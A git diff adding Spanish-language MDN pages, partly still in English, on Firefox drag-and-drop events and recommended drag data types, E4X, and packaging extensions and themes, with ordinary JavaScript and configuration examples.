+<div class="note"> Esta sección trata sobre la funcionalidad de arrastrar y soltar en Firefox 3.5 (Gecko 1.9.1) y versiones posteriores. Consulta la <a href="/en-US/docs/Drag_and_Drop" title="/en-US/docs/Drag_and_Drop">documentación de la API anterior</a> para Firefox 3.0 y versiones anteriores.</div>
+
+
+<h2 id="Elementos_básicos_de_arrastrar_y_soltar">Elementos básicos de arrastrar y soltar</h2>
+<p>Cuando comienza una operación de arrastre, se puede proporcionar una serie de datos:</p>
+<ul>
+	<li>los datos que se van a arrastrar, que pueden ser de varios formatos diferentes. Por ejemplo, datos de texto que contienen una cadena de texto que se va a arrastrar. Para obtener más información al respecto, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#dragdata" title="/en-US/docs/DragDrop/Drag_Operations#dragdata">Datos de la operación de arrastre</a> .</li>
+	<li>la imagen de confirmación sobre la operación de arrastre que aparece junto al puntero durante la operación. Esta imagen puede personalizarse, sin embargo, la mayoría de las veces, no se especifica y se genera una imagen por defecto basándose en el elemento donde se ha pulsado el ratón/mouse. Para obtener más información acerca de estas imágenes, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="/en-US/docs/DragDrop/Drag_Operations#dragfeedback">Configurar la imagen de confirmación sobre la operación de descarga</a> .</li>
+	<li>efectos de arrastre que se permiten. Son posibles tres efectos: <code>copy</code> para indicar que los datos que se arrastran se copiarán desde su ubicación actual a la ubicación de destino, <code>move</code> para indicar que los datos que se arrastran serán movidos y <code>link</code> para indicar que se creará algún tipo de relación o conexión entre la ubicación actual y la ubicación de destino. Durante la operación, se pueden modificar los efectos de arrastre y especificar cuáles en concreto se permiten en determinadas ubicaciones. Si se permite, se puede realizar una operación de colocación en esa ubicación. Consulta <a href="/en-US/docs/DragDrop/Drag_Operations#drageffects" title="/en-US/docs/DragDrop/Drag_Operations#drageffects">Efectos de arrastre</a> para obtener más detalles.</li>
+</ul>
+<p>Mozilla y Firefox admiten una serie de características que no se encuentran en el modelo estándar de arrastrar y soltar. Estas te permiten arrastrar elementos múltiples y arrastrar datos que no son cadenas. Para obtener más información, consulta <a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items" title="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items">Arrastrar y soltar múltiples elementos</a> .</p>
+<p>Para obtener una lista de tipos de datos comunes utilizados para arrastrar y soltar, consulta <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="/en-US/docs/DragDrop/Recommended_Drag_Types">Tipos de operaciones de arrastre recomendados</a>.</p>
+<p>Está disponible una referencia rápida para los procedimientos recomendados en la operación de arrastre de los siguientes tipos de elementos:</p>
+<ul>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="/en-US/docs/DragDrop/Recommended_Drag_Types#text">Texto</a></li>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="/en-US/docs/DragDrop/Recommended_Drag_Types#link">Enlaces</a></li>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#html" title="/en-US/docs/DragDrop/Recommended_Drag_Types#html">HTML y XML</a></li>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#file" title="/en-US/docs/DragDrop/Recommended_Drag_Types#file">Archivos</a></li>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" title="/en-US/docs/DragDrop/Recommended_Drag_Types#image">Imágenes</a></li>
+	<li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#node" title="/en-US/docs/DragDrop/Recommended_Drag_Types#node">Nodos de documento</a></li>
+</ul>
+<p>Consulta <a href="/en-US/docs/DragDrop/DataTransfer" title="/en-US/docs/DragDrop/DataTransfer">DataTransfer</a> para tener una referencia al objeto DataTransfer.</p>
+
+
+<h2 id="events" name="events">Eventos de arrastre</h2>
+<p>Se utilizan una serie de eventos que se ejecutan durante las diversas etapas de la operación de arrastre y colocación. Ten en cuenta que se ejecutan sólo los eventos de arrastre, los eventos del ratón/mouse como <code>mousemove</code> no se ejecutan durante una operación de arrastre.</p>
+<p>La propiedad <a href="/en-US/docs/DragDrop/DataTransfer" title="/en-US/docs/DragDrop/DataTransfer">dataTransfer</a> de todos los eventos de arrastre contiene datos sobre la operación de arrastre y colocación.</p>
+
+
+<dl>
+	<dt>dragstart</dt>
+	<dd>Se ejecuta sobre un elemento cuando se inicia una operación de arrastre. El usuario está solicitando arrastrar el elemento al que dispara el evento dragstart. Durante este evento, un proceso de escucha ajustará cierto tipo de información como los datos de la operación de arrastre y la imagen que se asocia con ella. Para obtener más información al respecto, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="/en-US/docs/DragDrop/Drag_Operations#dragstart">Inicio de una operación de arrastre</a> .</dd>
+	<dt>dragenter</dt>
+	<dd>Se dispara cuando el ratón/mouse se mueve primero sobre un elemento, mientras está teniendo lugar una operación de arrastre. Un proceso de escucha de este evento debe indicar si se permite una operación de arrastre sobre esta ubicación. Si no hay procesos de escucha o éstos no realizan ninguna operación, entonces no se permite, de manera predeterminada, una operación de arrastre. Este es también el evento al que escuchar si deseas proporcionar información acerca de que se permite una operación de arrastre, como, por ejemplo, mostrar un resaltado o un marcador de inserción. Para obtener más información al respecto, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="/en-US/docs/DragDrop/Drag_Operations#droptargets">Especificación de destinos de colocación</a> .</dd>
+	<dt>dragover</dt>
+	<dd>Este evento se activa cuando el ratón/mouse se mueve sobre un elemento cuando está teniendo lugar una operación de arrastre. Gran parte del tiempo, la operación que tiene lugar durante un proceso de escucha será la misma que el evento dragenter. Para obtener más información al respecto, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="/en-US/docs/DragDrop/Drag_Operations#droptargets">Especificación de destinos de colocación</a>.</dd>
+	<dt>dragleave</dt>
+	<dd>Este evento se activa cuando el ratón/mouse sale de un elemento mientras que está teniendo lugar una operación de arrastre. Los procesos de escucha deben eliminar cualquier resaltado o marcador de inserción que usan para la información sobre el proceso de arrastre.</dd>
+	<dt>drag</dt>
+	<dd>Este evento se activa en el origen del arrastre, es decir, el elemento donde dragstart fue disparado, durante la operación de arrastre.</dd>
+	<dt>drop</dt>
+	<dd>El evento se dispara sobre el elemento en el que se produjo la colocación al finalizar la operación de arrastre. Un proceso de escucha se encargará de recuperar los datos que se arrastran e insertarlos en la ubicación de la colocación. Este evento sólo se activará si se desea disponer de la funcionalidad de soltar. No se activará si el usuario cancela la operación de arrastre, por ejemplo, pulsando la tecla Escape, o si se liberó el botón del ratón/mouse mientras que éste no estaba sobre un destino de colocación válido. Para más información sobre esto, consulta <a href="/en-US/docs/DragDrop/Drag_Operations#drop" title="/en-US/docs/DragDrop/Drag_Operations#drop">Realizar una operación de colocación</a>.</dd>
+	<dt>dragend</dt>
+	<dd>El origen del arrastre recibirá un evento dragend cuando la operación se haya completado, tanto si tuvo éxito como si no. Consulta <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="/en-US/docs/DragDrop/Drag_Operations#dragend">Finalizar una operación de arrastre</a> si deseas más información.</dd>
+</dl>
+
+
+<div>{{ HTML5ArticleTOC () }}</div>
diff --git a/files/es/dragdrop/index.html b/files/es/dragdrop/index.html
new file mode 100644
index 0000000000..50bf61f9e2
--- /dev/null
+++ b/files/es/dragdrop/index.html
@@ -0,0 +1,10 @@
+---
+title: DragDrop
+slug: DragDrop
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p> </p>
+<p>See <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_and_Drop">https://developer.mozilla.org/en-US/docs/DragDrop/Drag_and_Drop</a></p>
diff --git a/files/es/dragdrop/recommended_drag_types/index.html b/files/es/dragdrop/recommended_drag_types/index.html
new file mode 100644
index 0000000000..daad516a44
--- /dev/null
+++ b/files/es/dragdrop/recommended_drag_types/index.html
@@ -0,0 +1,144 @@
+---
+title: Tipos de Drag recomendados
+slug: DragDrop/Recommended_Drag_Types
+translation_of: Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types
+---
+<p>A continuación se describe la mejor practica para utilizar los datos a ser arrastrado.</p>
+<h2 id="text" name="text">Arrastramdo Texto</h2>
+<p>Al arrastrar el texto, utilice el texto / texto normal. Los datos deben ser la cadena de arrastre. Por ejemplo:</p>
+<pre>event.dataTransfer.setData("text/plain", "This is text to drag")
+</pre>
+<p>Arrastrar texto en cuadros de texto y las selecciones de las páginas web se realiza de forma automática, por lo que no es necesario para manejar dragging.</p>
+<p><span style="line-height: 1.5;">Se recomienda que siempre se agrega datos del tipo  </span><code style="font-size: 14px;">text/plain</code><span style="line-height: 1.5;">  </span><span style="line-height: 1.5;">como un mensaje para las aplicaciones o los destinos que no soportan otros tipos, a menos que no hay alternativa de texto lógico. Siempre agregue el tipo de texto sin formato pasado, ya que es el menos específico.</span></p>
+<p><span style="line-height: 1.5;">En códigos más viejo, encontrara </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">text/unicode o </span>el tipo<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;"> </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">Text.</span><span style="line-height: 1.5;">Estos equivalen </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">text/plain,</span><span style="line-height: 1.5;">que </span><span style="line-height: 1.5;">guardara y recibia los datos del texto plano en ese lugar</span><font face="Courier New, Andale Mono, monospace"><span style="line-height: normal;">.</span></font></p>
+<h2 id="link" name="link">Arrastrando Enlaces</h2>
+<p>Los enlaces deben incluir los datos de los dos tipos, el primero debe ser  URL utilizando el tipo <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">text/uri-list,</span><span style="line-height: 1.5;">y el segundo es URL utilizando el tipo </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">text/plain. </span><span style="line-height: 1.5;">Ambos tipos deben utilizar los mismos datos, la URL del enlace. Por ejemplo:</span></p>
+<pre>var dt = event.dataTransfer;
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+</pre>
+<p>Es constumbre, establecer el tipo <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">text/plain de ultimo, </span><span style="line-height: 1.5;">, ya que es menos específico que el tipo de URI.</span></p>
+<p>Note que el tipo de URL <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">uri-list </span><span style="line-height: 1.5;">es con una "i", no una "L"</span></p>
+<p><span style="line-height: 1.5;">Note that the URL type is </span><code style="font-size: 14px;">uri-list</code><span style="line-height: 1.5;"> with an 'I', not with an 'L'.</span></p>
+<p>To drag multiple links, you can also separate each link with a linebreak. A line that begins with a number sign (#) is a comment and should not be considered a valid URL. You can use a comment to indicate the purpose of a link, or to hold the title associated with a link. The <code>text/plain</code> version of the drag data should include all links but should not include the comments.</p>
+<p>For example:</p>
+<pre>http://www.mozilla.org
+#A second link
+http://www.xulplanet.com
+</pre>
+<p>This sample <code>text/uri-list</code> data contains two links and a comment.</p>
+<p>When retrieving a dropped link, you should ensure you handle the case where multiple links may have been dragged, and any comments that appear in the data. For convenience, the special type <code>URL</code> may be used to refer to the first valid link within the data for the <code>text/uri-list</code> type. You should not add data using the <code>URL</code> type; attempting to do so will just set the value of the <code>text/uri-list</code> type instead.</p>
+<pre>var url = event.dataTransfer.getData("URL");
+</pre>
+<p>You may also see data using the <code>text/x-moz-url</code> type which is a Mozilla specific type. If it appears, it should be used before the <code>text/uri-list</code> type. It holds the URL of the link followed by the title of the link, separated by a linebreak. For example:</p>
+<pre>http://www.mozilla.org
+Mozilla
+http://www.xulplanet.com
+XUL Planet
+</pre>
+<h2 id="html" name="html">Dragging HTML and XML</h2>
+<p>HTML content may use the <code>text/html</code> type. The data for this type should be the serialized HTML to drag. For instance, it would be suitable to set the data value for this type to the value of the <code>innerHTML</code> property of an element.</p>
+<p>XML content may use the <code>text/xml</code> type, but you should ensure that the data value is well-formed XML.</p>
+<p>You may also include a plain text representation of the HTML or XML data using the <code>text/plain</code> type. The data should be just the text and should not include any of the source tags or attributes. For instance:</p>
+<pre>var dt = event.dataTransfer;
+dt.setData("text/html", "Hello there, &lt;strong&gt;stranger&lt;/strong&gt;");
+dt.setData("text/plain", "Hello there, stranger");
+</pre>
+<h2 id="file" name="file">Dragging Files</h2>
+<p>A local file is dragged using the <code>application/x-moz-file</code> type with a data value that is an <a href="/en/XPCOM_Interface_Reference/nsIFile" title="nsIFile">nsIFile</a> object. Non-privileged web pages are not able to retrieve or modify data of this type. Because a file is not a string, you must use the <a href="/En/DragDrop/DataTransfer#mozSetDataAt.28.29" title="mozSetDataAt">mozSetDataAt</a> method to assign the data. Similarly, when retrieving the data, you must use the <a href="/En/DragDrop/DataTransfer#mozGetDataAt.28.29" title="mozGetDataAt">mozGetDataAt</a> method.</p>
+<pre>event.dataTransfer.mozSetDataAt("application/x-moz-file", file, 0);
+</pre>
+<p>If possible, you may also include the file URL of the file using both the <code>text/uri-list</code> and/or <code>text/plain</code> types. These types should be added last so that the more specific <code>application/x-moz-file</code> type has higher priority.</p>
+<p>Multiple files will be received during a drop as mutliple items in the data transfer. See <a href="/En/DragDrop/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a> for more details about this.</p>
+<p>The following example shows how to create an area for receiving dropped files:</p>
+<pre>&lt;listbox ondragenter="return checkDrag(event)"
+         ondragover="return checkDrag(event)"
+         ondrop="doDrop(event)"/&gt;
+
+&lt;script&gt;
+function checkDrag(event)
+{
+  return event.dataTransfer.types.contains("application/x-moz-file");
+}
+
+function doDrop(event)
+{
+  var file = event.dataTransfer.mozGetDataAt("application/x-moz-file", 0);
+  if (file instanceof Components.interfaces.nsIFile)
+    event.currentTarget.appendItem(file.leafName);
+}
+&lt;/script&gt;
+</pre>
+<p>In this example, the event returns false only if the data transfer contains the <code>application/x-moz-file</code> type. During the drop event, the data associated with the file type is retrieved, and the filename of the file is added to the listbox. Note that the <code>instanceof</code> operator is used here as the <a href="/En/DragDrop/DataTransfer#mozGetDataAt.28.29" title="mozGetDataAt">mozGetDataAt</a> method will return an <code>nsISupports</code> that needs to be checked and converted into an nsIFile. This is also a good extra check in case someone made a mistake and added a non-file for this type.</p>
+<h2 id="image" name="image">Dragging Images</h2>
+<p>Direct image dragging is not commonly done. In fact, Mozilla does not support direct image dragging on Mac or Linux platforms. Instead, images are usually dragged only by their URLs. To do this, use the <code>text/uri-list</code> type as with other URL links. The data should be the URL of the image or a data URL if the image is not stored on a web site or disk. For more information about data URLs, see <a class="internal" href="/en/data_URIs" title="en/The data URL scheme">the data URL scheme</a>.</p>
+<p>As with other links, the data for the <code>text/plain</code> type should also contain the URL. However, a data URL is not usually as useful in a text context, so you may wish to exclude the <code>text/plain</code> data in this situation.</p>
+<p>In chrome or other privileged code, you may also use the <code>image/jpeg</code>, <code>image/png</code> or <code>image/gif</code> types, depending on the type of image. The data should be an object which implements the <a href="/en/XPCOM_Interface_Reference/nsIInputStream" title="nsIInputStream">nsIInputStream</a> interface. When this stream is read, it should provide the data bits for the image, as if the image was a file of that type.</p>
+<p>You should also include the <code>application/x-moz-file</code> type if the image is located on disk. In fact, this a common way in which image files are dragged.</p>
+<p>It is important to set the data in the right order, from most specific to least specific. The image type such as <code>image/jpeg</code> should come first, followed by the <code>application/x-moz-file</code> type. Next, you should set the <code>text/uri-list</code> data and finally the <code>text/plain</code> data. For example:</p>
+<pre>var dt = event.dataTransfer;
+dt.mozSetDataAt("image/png", stream, 0);
+dt.mozSetDataAt("application/x-moz-file", file, 0);
+dt.setData("text/uri-list", imageurl);
+dt.setData("text/plain", imageurl);
+</pre>
+<p>Note that the <a href="/En/DragDrop/DataTransfer#mozGetDataAt.28.29" title="mozGetDataAt">mozGetDataAt</a> method is used for non-text data. As some contexts may only include some of these types, it is important to check which type is made available when receiving dropped images.</p>
+<h2 id="node" name="node">Dragging Nodes</h2>
+<p>Nodes and elements in a document may be dragged using the <code>application/x-moz-node</code> type. This data for the type should be a DOM node. This allows the drop target to receive the actual node where the drag was started from. Note that callers from a different domain will not be able to access the node even when it has been dropped.</p>
+<p>You should always include a plain text alternative for the node.</p>
+<h2 id="custom" name="custom">Dragging Custom Data</h2>
+<p>You can also use other types that you make up for custom purposes. You should strive to always include a plain text alternative unless that object being dragged is specific to a particular site or application. In this case, the custom type ensures that the data cannot be dropped elsewhere.</p>
+<h2 id="filestoos" name="filestoos">Dragging files to an operating system folder</h2>
+<p>There are cases in which you may want to add a file to an existing drag event session, and you may also want to write the file to disk when the drop operation happens over a folder in the operating system when your code receives notification of the target folder's location. This only works in extensions (or other privileged code) and the data flavor "application/moz-file-promise" should be used. The following sample offers an overview of this advanced case:</p>
+<pre class="brush: js">// currentEvent is a given existing drag operation event
+
+currentEvent.dataTransfer.setData("text/x-moz-url", URL);
+currentEvent.dataTransfer.setData("application/x-moz-file-promise-url", URL);
+currentEvent.dataTransfer.setData("application/x-moz-file-promise-filename", leafName);
+currentEvent.dataTransfer.mozSetDataAt('application/x-moz-file-promise',
+                  new dataProvider(success,error),
+                  0, Components.interfaces.nsISupports);
+
+function dataProvider(){}
+
+dataProvider.prototype = {
+  QueryInterface : function(iid) {
+    if (iid.equals(Components.interfaces.nsIFlavorDataProvider)
+                  || iid.equals(Components.interfaces.nsISupports))
+      return this;
+    throw Components.results.NS_NOINTERFACE;
+  },
+  getFlavorData : function(aTransferable, aFlavor, aData, aDataLen) {
+    if (aFlavor == 'application/x-moz-file-promise') {
+
+       var urlPrimitive = {};
+       var dataSize = {};
+
+       aTransferable.getTransferData('application/x-moz-file-promise-url', urlPrimitive, dataSize);
+       var url = new String(urlPrimitive.value.QueryInterface(Components.interfaces.nsISupportsString));
+       console.log("URL file orignal is = " + url);
+
+       var namePrimitive = {};
+       aTransferable.getTransferData('application/x-moz-file-promise-filename', namePrimitive, dataSize);
+       var name = new String(namePrimitive.value.QueryInterface(Components.interfaces.nsISupportsString));
+
+       console.log("target filename is = " + name);
+
+       var dirPrimitive = {};
+       aTransferable.getTransferData('application/x-moz-file-promise-dir', dirPrimitive, dataSize);
+       var dir = dirPrimitive.value.QueryInterface(Components.interfaces.nsILocalFile);
+
+       console.log("target folder is = " + dir.path);
+
+       var file = Cc['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
+       file.initWithPath(dir.path);
+       file.appendRelativePath(name);
+
+       console.log("output final path is =" + file.path);
+
+       // now you can write or copy the file yourself...
+    }
+  }
+}
+</pre>
+<p>{{ languages( { "ja": "Ja/DragDrop/Recommended_Drag_Types" } ) }}</p>
diff --git a/files/es/e4x/index.html b/files/es/e4x/index.html
new file mode 100644
index 0000000000..f8e51bfe3d
--- /dev/null
+++ b/files/es/e4x/index.html
@@ -0,0 +1,25 @@
+---
+title: E4X
+slug: E4X
+tags:
+  - E4X
+  - JavaScript
+translation_of: Archive/Web/E4X
+---
+<p><strong>ECMAScript for XML</strong> (<strong>E4X</strong>) es una extensión del lenguaje de programación que añade la implementación de XML nativo a <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>. Esto proporciona el acceso al documento de XML de manera que sea natural para los programadores de ECMAScript. El objetivo es proporcionar una alternativa, una sintaxis más simple para tener acceso a documentos XML a través de las interfaces <a href="/es/DOM" title="es/DOM">DOM</a>.</p>
+<p>E4X está regulado por Ecma International dentro del <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">estándar ECMA-357 </a>(actualmente en su segunda edición, diciembre 2005).</p>
+<p>E4X se implementa (al menos parcialmente) en <a href="/es/SpiderMonkey" title="es/SpiderMonkey">SpiderMonkey</a> (<a href="/es/Gecko" title="es/Gecko">Gecko</a> con motor de JavaScript ) y dentro de <a href="/es/Rhino" title="es/Rhino">Rhino</a> (JavaScript con motor escrito en Java).</p>
+<div class="note"> <p><strong>Nota:</strong> en navegadores basados del Gecko 1.8, como Firefox 1.5, E4X ya puede usarse parcialmente por los autores de páginas web. Para disponer completamente de E4X, el elemento <code>&lt;script&gt;</code> necesita tener el tipo del MIME "text/javascript;e4x=1" (ej. tener un atributo en el formulario <code>type="text/javascript;e4x=1"</code>). La diferencia entre los dos modos es que sin el tipo MIME "e4x=1", cualquiera de los literales de comentario (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) en instrucciones XML/HTML son ignorados por compatibilidad hacia atrás con el truco de ocultar el comentario, y las secciones CDATA (<code>&lt;![CDATA[...]]&gt;</code>) no son procesadas como literales CDATA (que conduce a un error de sintaxis JS en el HTML ya que el elemento <code>&lt;script&gt;</code> de HTML produce una sección CDATA implícita, y por lo tanto no puede contener explícitamente secciones CDATA).</p>
+</div>
+<h3 id="Known_bugs_and_limitations" name="Known_bugs_and_limitations">Errores conocidos y limitaciones</h3>
+<ul> <li>Actualmente no es posible acceder al objeto DOM a través de E4X (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=270553" title="E4x&lt;->DOM">error 270553</a>)</li> <li>E4X no implementa el procesamiento la declaración (<code>&lt;?xml version=...?&gt;</code>) (ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=336551" title='E4X: Implement ability to process new XML("&amp;amp;lt;?xml...?> ...")'>error 336551</a>). Puedes obtener un SyntaxError "xml is a reserved identifier" (a pesar de que el XML sea un string).</li>
+</ul>
+<p>Solución:</p>
+<pre class="brush: js">var response = xmlhttprequest.responseText; // bug 270553
+response = response.replace(/^&lt;\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?&gt;/, ""); // bug 336551
+var e4x = new XML(response);
+</pre>
+<h3 id="Resources" name="Resources">Recursos</h3>
+<ul> <li>Consulta la lista de <a href="/Special:Tags?tag=E4X&amp;language=es" title="Special:Tags?tag=E4X&amp;language=es">páginas relacionadas E4X</a> en MDC.</li> <li><a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">Estándar ECMA-357</a></li> <li><a class="external" href="/presentations/xtech2005/e4x" title="presentations/xtech2005/e4x">Presentación de Brendan</a></li> <li><a class="external" href="http://www.faqts.com/knowledge_base/index.phtml/fid/1762">E4X en faqts.com</a></li> <li><a href="/en/E4X_Tutorial" title="en/E4X_Tutorial">Tutorial de E4X sobre procesamiento de</a><a class="internal" href="/En/E4X/Processing_XML_with_E4X" title="En/E4X/Processing XML with E4X"> XML con E4X</a> en MDC.</li> <li><a href="/en/E4X_for_templating" title="En/E4X for templating">E4X para creación de plantillas</a></li> <li><a class="external" href="http://rephrase.net/days/07/06/e4x">Referencia rápida para E4X en rephrase.net</a></li>
+</ul>
+<p></p>
diff --git a/files/es/empaquetado_de_extensiones/index.html b/files/es/empaquetado_de_extensiones/index.html
new file mode 100644
index 0000000000..a908921f26
--- /dev/null
+++ b/files/es/empaquetado_de_extensiones/index.html
@@ -0,0 +1,29 @@
+---
+title: Empaquetado de extensiones
+slug: Empaquetado_de_extensiones
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - Toolkit API
+  - extensiones
+translation_of: Archive/Add-ons/Extension_Packaging
+---
+<p>Las extensiones son <a href="/es/docs/Paquetes" title="Paquetes">paquetes instalables</a> que pueden ser descargados e instalados por un usuario,  provistos de manera pre-empaquetada dentro de una aplicación,o por un programa externo. Las extensiones usan una <a href="/es/docs/Paquetes" title="Paquetes">estructura de directorio</a> que alberga el <em>chrome</em>, los componentes y otros archivos para extender la funcionalidad de un programa XUL.</p>
+<p>Cada extensión debe facilitar un archivo <a href="/es/docs/Install.rdf" title="Install.rdf">install.rdf</a> que contenga metadatos acerca de la extension, así como su ID único, versión, autor e información de compatibilidad.</p>
+<p>Luego de ser preparados los archivos de la extensión y el install.rdf, existen diversas maneras de preparar una extensión para su instalación: Comprime a un archivo <em>ZIP</em> el directorio de la extensiòn a un archivo instalable <a href="/es/docs/XPI" title="XPI">XPI</a> (xpinstall), desempaqueta la extensión directamente en la aplicación del usuario o la carpeta de perfil, o inscribe la extensión en el registro de Windows.</p>
+<h2 id="Creando_una_extensi.C3.B3n_XPI" name="Creando_una_extensi.C3.B3n_XPI">Creando una extensión XPI</h2>
+<p>Un archivo <a href="/es/docs/XPI" title="XPI">XPI</a> (XPInstall) es sencillamente un archivo ZIP que contiene los archivos de la extensión, con el archivo <a href="/es/docs/Install.rdf" title="Install.rdf">install.rdf</a> en la carpeta raíz del archivo ZIP. Los usuarios pueden descargar e instalar los archivos XPI de un sitio web o de un archivo local, abriéndolos o arrastrándolos a la ventana del Administrador de extensiones.</p>
+<p>El tipo de MIME reconocido por Firefox para los archivos XPI es <em>application/x-xpinstall</em>. Ya que la mayoría de los servidores HTTP no están configurados para devolver este tipo de MIME para la extensión .xpi por defecto, probablemente tendrás que configurar tu servidor HTTP. En el servidor HTTP de Apache, se puede realizar al añadir la siguiente instrucción al archivo de configuración o .htaccess:</p>
+<pre>AddType application/x-xpinstall .xpi
+</pre>
+<h2 id="Instalar_archivos_de_extensiones_directamente" name="Instalar_archivos_de_extensiones_directamente">Instalar archivos de extensiones directamente</h2>
+<p>Si conoces la localización de la aplicación (si instala una extensión como parte de un instalador de la aplicación, por ejemplo), puedes instalar los archivos de la extensión directamente en &lt;appdir&gt;/extensions/&lt;extensionID&gt;. La extensión será encontrada automáticamente por el Administrador de extensiones la próxima vez que la aplicación se ejecute.</p>
+<p>Cuando uses este método debes verificar que estén establecidos correctamente los permisos de sistema del archivo para la carpeta. De otra manera, el administrador de extensiones puede no funcionar correctamente con la extensión o la extensión misma no lo harà correctamente.</p>
+<h2 id="Registrar_una_localizaci.C3.B3n_de_extensi.C3.B3n_usando_el_Registro_de_Windows" name="Registrar_una_localizaci.C3.B3n_de_extensi.C3.B3n_usando_el_Registro_de_Windows">Registrar una localización de extensión usando el Registro de Windows</h2>
+<p>Los instaladores externos (tales como el Java runtime) pueden tratar de instalar puntos de integración con la aplicación como una extensión aún cuando la aplicación no está instalada. Se puede lograr esto en Windows <a href="/es/docs/A%C3%B1adir_extensiones_usando_el_registro_de_Windows" title="Añadir_extensiones_usando_el_registro_de_Windows"> usando el registro</a>.</p>
+<h2 id="Extensiones_XPIs_de_varios_elementos" name="Extensiones_XPIs_de_varios_elementos">Extensiones XPIs de varios elementos</h2>
+<p>En algunos casos un solo archivo XPI puede tratar de instalar múltiples extensiones/temas. Un tipo especial de extensión llamado el <a href="/es/docs/Empaquetado_de_M%C3%BAltiples_Art%C3%ADculos" title="Empaquetado_de_Múltiples_Artículos"> Paquete de Múltiples artículos</a> explica cómo crear este tipo de paquete. (se requiere Firefox 1.5/XULRunner 1.8)</p>
+
+<h2 id="Referencias_oficiales_para_Toolkit_API" name="Referencias_oficiales_para_Toolkit_API">Referencias oficiales para <a href="/es/docs/API_del_Toolkit" title="API_del_Toolkit">Toolkit API</a></h2>
+
+<div>{{page("/es/docs/Toolkit_API/Official_References")}}</div>
diff --git a/files/es/empaquetar_un_tema/index.html b/files/es/empaquetar_un_tema/index.html
new file mode 100644
index 0000000000..1eadf7c5fc
--- /dev/null
+++ b/files/es/empaquetar_un_tema/index.html
@@ -0,0 +1,109 @@
+---
+title: Empaquetar un Tema
+slug: Empaquetar_un_Tema
+tags:
+  - Complementos
+  - Herramientas_API
+  - Temas
+  - Todas_las_Categorías
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions/Theme_Packaging
+---
+<p> </p>
+<p>Este documento describe cómo empaquetar <a href="es/Temas">temas</a> para Firefox y Thunderbird.</p>
+<h3 id="Pre-requisitos" name="Pre-requisitos">Pre-requisitos</h3>
+<p>Hacer un tema para Firefox o Thunderbird requiere conocimientos de hojas de estilo en cascada (<a href="es/CSS">CSS</a>), probablemente <a href="es/XBL">XBL</a>, y un poco de habilidad para diseño gráfico y estética (...o quizá no). Este documento describe solamente cómo se empaquetan los temas para ser mostrados en la ventana de los temas de Firefox.</p>
+<h3 id="Estructura_de_los_ficheros_del_tema" name="Estructura_de_los_ficheros_del_tema">Estructura de los ficheros del tema</h3>
+<p>Los temas Firefox/Thunderbird son empaquetados en un archivo JAR con la siguiente estructura:</p>
+<pre class="eval">theme.jar:
+  install.rdf
+  contents.rdf
+  preview.png
+  icon.png
+  browser/<i>files</i>
+  global/<i>files</i>
+  mozapps/<i>files</i>
+  communicator/<i>files</i>
+  ...
+
+</pre>
+<ul>
+ <li>Debe de existir un fichero <a href="es/Chrome.manifest">chrome.manifest</a> (Firefox/Thunderbird 1.5) o contents.rdf en el nivel superior para registrar el chrome para el tema (como antes) y también un fichero install.rdf que especifique los metadatos mostrados en la ventana de temas.</li>
+</ul>
+<ul>
+ <li>preview.png es una imagen que se mostrarán en el área de previsualización de la ventana de temas. Puede tener cualquier tamaño.</li>
+</ul>
+<ul>
+ <li>icon.png es una imagen png de tamaño 32 x 32 (puede contener transparencias) que será mostrada en la lista y en la ventana de temas.</li>
+</ul>
+<h3 id="install.rdf" name="install.rdf">install.rdf</h3>
+<p>El fichero <a href="es/Install.rdf">install.rdf</a> debe de tener este aspecto:</p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
+     xmlns:em="<a class="external" href="http://www.mozilla.org/2004/em-rdf#" rel="freelink">http://www.mozilla.org/2004/em-rdf#</a>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:type&gt;4&lt;/em:type&gt;<i>otras propiedades</i>
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
